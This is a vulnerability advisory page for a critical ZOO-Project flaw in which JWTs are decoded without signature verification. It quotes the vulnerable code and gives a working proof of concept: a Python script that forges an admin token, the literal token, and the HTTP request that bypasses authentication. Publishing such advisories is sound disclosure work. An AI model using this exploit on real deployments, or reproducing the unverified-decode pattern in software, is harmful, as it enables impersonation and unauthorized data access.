CVE Watchtower

CVE-2026-104860ZOO-Project main afc0403 Incorrect Authorization

NVD

Vulnerability Summary

Summary `jwts/security_service.py:securityIn()` decodes every client-supplied `Authorization: Bearer <token>` with `jwt.decode(cJWT, options={"verify_signature": False, "verify_aud": False})`. No key, no algorithm allow-list, no signature check of any kind is performed - any base64url-encoded `header.payload.signature` string is accepted as a fully authenticated identity, with the identity taken verbatim from whatever claims the attacker put in the (unverified) payload. A companion bug means the module's own `allowed_users` allow-list is computed but never enforced either (see Details) - there is no working access restriction anywhere in this path. Details `zoo-project/zoo-services/utils/security/jwt/cgi-env/security_service.py`: ```python sToken=main_conf["renv"][i].split(' ')[1] if sToken.count(".")>=2: # "looks like a JWT" - 2 dots cJWT=main_conf["renv"][i].split(' ')[1] jsonObj=jwt.decode(cJWT, options={"verify_signature": False,"verify_aud": False}) # <-- no verification at all hasAuth=True # <-- set unconditionally, before any claim is checked ... main_conf["auth_env"]={"user": jsonObj[k] } # <-- identity = whatever the attacker put in the payload ``` `hasAuth=True` is set before any claim is inspected, and `auth_env.user` is populated straight from the unverified payload this becomes the caller's identity for the rest of the request, including namespace/filesystem placement for DRU Deploy/Undeploy and DB user-filtering. The `allowed_users` check (same file, a few lines later) only sets a 403 message/status when the claimed username isn't in the allow-list it never `return`s or aborts, so `auth_env` still gets populated and `hasAuth` is still `True` regardless. The restriction is decorative. PoC Target: `docker/dru` deployment (`zooproject/zoo-project:dru-latest`), JWT module active (confirmed via `X-Powered-By: jwt.securityIn` response header). 1. Confirm the endpoint rejects unauthenticated requests: ``` GET /anonymous/ogc-api/jobs -> HTTP 401 {"title":"NotAllowed","detail":"Authentication is required to perform the requested operation on the resource."} ``` 2. Forge a JWT with no valid signature, claiming to be `admin`: ```python import base64, json def b64url(d): return base64.urlsafe_b64encode(d).rstrip(b'=').decode() header = b64url(json.dumps({"alg":"HS256","typ":"JWT"}).encode()) payload = b64url(json.dumps({"preferred_username":"admin","sub":"admin","username":"admin"}).encode()) sig = b64url(b"totally-fake-signature-not-verified") # never checked - content is irrelevant token = f"{header}.{payload}.{sig}" ``` Resulting token (used verbatim below): ``` eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJwcmVmZXJyZWRfdXNlcm5hbWUiOiAiYWRtaW4iLCAic3ViIjogImFkbWluIiwgInVzZXJuYW1lIjogImFkbWluIn0.dG90YWxseS1mYWtlLXNpZ25hdHVyZS1ub3QtdmVyaWZpZWQ ``` 3. Replay the same request with the forged token attached: ``` GET /admin/ogc-api/jobs Authorization: Bearer eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJwcmVmZXJyZWRfdXNlcm5hbWUiOiAiYWRtaW4iLCAic3ViIjogImFkbWluIiwgInVzZXJuYW1lIjogImFkbWluIn0.dG90YWxseS1mYWtlLXNpZ25hdHVyZS1ub3QtdmVyaWZpZWQ -> HTTP 200 OK {"jobs":[{"id":"052e77ca-7f40-11f1-a41b-eec393600039","processID":"echo","status":"running", ...}], "numberTotal":1} ``` No credential was ever valid the signature bytes are the literal string `"totally-fake-signature-not-verified"`, base64-encoded, never checked. The server treats the caller as `admin` on the strength of an unverified claim alone, and returns real job data. Impact Any unauthenticated attacker can impersonate any identity including `admin` by forging a token with an arbitrary, unverified signature.
Severity Level
CRITICAL(9.8)
Published Date
Jul 28, 2026
Last Modified
Jul 28, 2026
Exploitation Status
No confirmed exploitation yet
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
Root Weakness (CWE)
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
CVSS v3.1 Base Metrics — Score 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh

Affected & Patched Versions

Affected Versions
  • ZOO-Project main afc0403
Patched Versions
  • ZOO-Project 8b3d76c

What to do

Plan remediation soon. No exploitation is confirmed yet, but the severity is critical.

  1. Check whether you run ZOO-Project main afc0403 and which version.
  2. Update to a patched version listed above, then confirm the new version.

Timeline

  • Jul 28, 2026Published
  • Jul 28, 2026Record last modified

Score, severity and exploitation changes are tracked from the day Watchtower started logging them.

Get notified about new ZOO-Project main afc0403 CVEsYou are reading CVE-2026-104860. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alerts

Data last checked: Nov 25, 2026 14:00 UTC